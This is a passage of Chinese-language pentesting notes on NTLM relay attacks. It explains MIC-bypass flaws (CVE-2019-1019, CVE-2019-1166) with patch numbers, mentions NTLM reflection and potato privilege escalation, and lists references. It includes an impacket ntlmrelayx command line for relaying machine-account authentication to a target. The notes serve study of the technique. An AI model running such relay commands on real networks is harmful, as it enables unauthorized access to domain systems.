原理:无需篡改 msvAvFlag 字段即可从消息中删除 MIC 的方法,只需将其与版本字段以及一些其他协商标志一起从消息中删除
1. 取消设置NTLM_NEGOTIATE消息中的签名标志(NTLMSSP_NEGOTIATE_ALWAYS_SIGN,NTLMSSP_NEGOTIATE_SIGN) |
影响范围:< Windows Server 2019、Windows 10
补丁:KB4503267、KB4503294
CVE-2019-1019
应用场景:HTTP -> SMB,impacket中使用^5
./ntlmrelayx.py -machine-account domain/machineAccountName -machine-hashes LM:NT -domain DOMAIN -t targetIP -remove-target -smb2support |
CVE-2019-1166
作用:还是绕过mic,无视签名,直接中继
原理:诱使服务器误认为该消息不包含 MIC,从而允许我们修改 NTLM 身份验证流程的任何阶段
1. 取消设置 NTLM_NEGOTIATE 消息中的签名标志(NTLMSSP_NEGOTIATE_ALWAYS_SIGN、NTLMSSP_NEGOTIATE_SIGN) |
NTLM Reflect
NTLM 反射到自身,其实作用就是提权,大部分关于土豆系列,后续再单独写土豆吧
- CVE-2025-33073
- 土豆提权
参考
NTLM:
https://davenport.sourceforge.net/ntlm.htm
Downgrade:
NetNTLMv1 Downgrade to compromise
NTLMv1 vs NTLMv2: Digging into an NTLM Downgrade Attack
https://github.com/eladshamir/Internal-Monologue
NTLM Downgrade Attack: Internal Monologue
PTH:
CVE:
Relay:
https://www.raingray.com/archives/2474.html
https://github.com/fortra/impacket/pull/1305
https://github.com/SecureAuthCorp/impacket/pull/635
Relay Attack:
How to Exploit Active Directory ACL Attack Paths Through LDAP Relaying Attacks